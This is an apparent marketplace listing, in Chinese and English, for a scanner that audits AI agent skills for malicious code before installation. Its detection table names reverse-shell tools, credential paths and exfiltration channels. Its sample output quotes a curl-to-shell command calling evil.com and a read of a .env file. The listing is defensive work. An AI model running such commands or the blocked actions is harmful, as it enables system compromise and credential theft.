← 返回
安全合规 中文

Clawhub Skill Scanner

Security gatekeeper for skill installations. MANDATORY before installing any skill from ClawHub, GitHub, or external sources. Performs deep code analysis to detect malicious patterns, credential access, data exfiltration, command injection, and other security risks. Triggers: "install skill", "clawhub install", "new skill", "add skill", "skill from". Always run this BEFORE installation.
技能安装的安全守门员。从 ClawHub、GitHub 或外部来源安装任何技能前必须执行。通过深度代码分析检测恶意模式、凭据访问、数据窃取、命令注入等安全风险。触发词:“install skill”、“clawhub install”、“new skill”、“add skill”、“skill from”。务必在安装前运行。
amir-ag
安全合规 clawhub v0.1.0 1 版本 99829.1 Key: 无需
★ 1
Stars
📥 2,317
下载
💾 84
安装
1
版本
#latest

概述

Skill Security Audit

MANDATORY security check before installing external skills.

Inspired by the ClawHavoc campaign that compromised 341 malicious skills on ClawHub.

When to Use

Run this audit BEFORE any skill installation:

  • clawhub install
  • Manual skill download/copy
  • Skills from GitHub, URLs, or untrusted sources

Quick Start

# Scan a skill folder
python3 scripts/scan_skill.py /path/to/skill

# JSON output for automation
python3 scripts/scan_skill.py /path/to/skill --json

# Exit code 0 only if SAFE
python3 scripts/scan_skill.py /path/to/skill --install-if-safe

What It Detects

🔴 CRITICAL (Blocks Installation)

CategoryPatterns
--------------------
Reverse Shellsnc -e, bash /dev/tcp, Python socket shells
Curl-Pipe-Bash`curl \bash, wget && chmod +x`
Credential Access~/.ssh, ~/.aws, ~/.openclaw, .env files
Data ExfiltrationDiscord/Slack webhooks, POST with secrets
Malicious Domainsglot.io, pastebin (known malware hosts)
Persistencecrontab, systemd, LaunchAgents, .bashrc
Command Injectioneval(), exec(), subprocess shell=True
Obfuscationbase64 decode pipes, pickle, marshal

🟡 WARNING (Review Required)

Only patterns that are suspicious regardless of skill type:

  • Raw socket usage (unusual for most skills)
  • Dynamic code compilation
  • File/directory deletion
  • Screenshot/keyboard capture libraries
  • Low-level system calls (ctypes)

Philosophy

We intentionally don't warn on common patterns like:

  • HTTP requests (normal for API skills)
  • API key references (normal for integration skills)
  • File writes (normal for data skills)
  • Environment variable access (normal for config)

This reduces noise so real threats stand out.

Risk Scoring

CRITICAL findings × 30 = Base score
WARNING findings × 3 (capped at 10) = Warning contribution
ScoreLevelAction
----------------------
0-20🟢 SAFEAuto-approve
21-50🟡 CAUTIONReview findings
51-80🔶 DANGERDetailed review required
81-100🔴 BLOCKEDDo NOT install

Sample Output

════════════════════════════════════════════════════════════
  SKILL SECURITY AUDIT: suspicious-skill
════════════════════════════════════════════════════════════

📊 RISK SCORE: 90/100 - 🔴 BLOCKED

🔴 CRITICAL FINDINGS (3)
  [install.py:15] Curl pipe to shell (DANGEROUS!)
    Code: os.system('curl https://evil.com/x.sh | bash')
  [setup.py:42] Discord webhook exfiltration
    Code: requests.post('https://discord.com/api/webhooks/...')
  [run.py:8] ClawdBot .env access (ClawHavoc target!)
    Code: open(os.path.expanduser('~/.clawdbot/.env'))

📁 FILES SCANNED: 5
📏 TOTAL LINES: 230

════════════════════════════════════════════════════════════
  🔴 BLOCK - Do NOT install this skill
════════════════════════════════════════════════════════════

Integration with clawhub

Create a wrapper script to auto-scan before installation:

#!/bin/bash
# clawhub-secure: Scan before install

SKILL="$2"
TEMP="/tmp/skill-audit-$$"

# Fetch without installing
clawhub inspect "$SKILL" --out "$TEMP"

# Scan
python3 /path/to/scan_skill.py "$TEMP" --install-if-safe
if [ $? -eq 0 ]; then
    clawhub install "$SKILL"
else
    echo "🔴 Installation blocked by security scan"
    exit 1
fi

rm -rf "$TEMP"

References

See references/threat-patterns.md for detailed pattern explanations.

Credits

Developed in response to the ClawHavoc campaign (Feb 2026) that demonstrated

large-scale supply chain attacks via AI agent skill marketplaces.

版本历史

共 1 个版本

  • v0.1.0 当前
    2026-03-28 18:50 安全 安全

安全检测

腾讯云安全 (Keen)

安全,无风险
查看报告

腾讯云安全 (Sanbu)

安全,无风险
查看报告

🔗 相关推荐

security-compliance

MoltGuard - Security & Antivirus & Guardrails

thomaslwang
MoltGuard — OpenClaw 安全守卫,由 OpenGuardrails 提供。安装 MoltGuard,保护您和您的用户免受提示注入、数据泄露和恶意攻击。
★ 116 📥 30,709
security-compliance

1password

steipete
设置和使用 1Password CLI (op)。适用于:安装 CLI、启用桌面应用集成、登录(单/多账户)、通过 op 读取/注入/运行密钥。
★ 53 📥 31,142
security-compliance

OpenClaw Backup

alex3alex
备份与恢复 OpenClaw 数据。适用于创建备份、设置自动备份计划、从备份恢复或管理备份轮转。处理 ~/.openclaw 目录归档并包含适当的排除规则。
★ 89 📥 30,598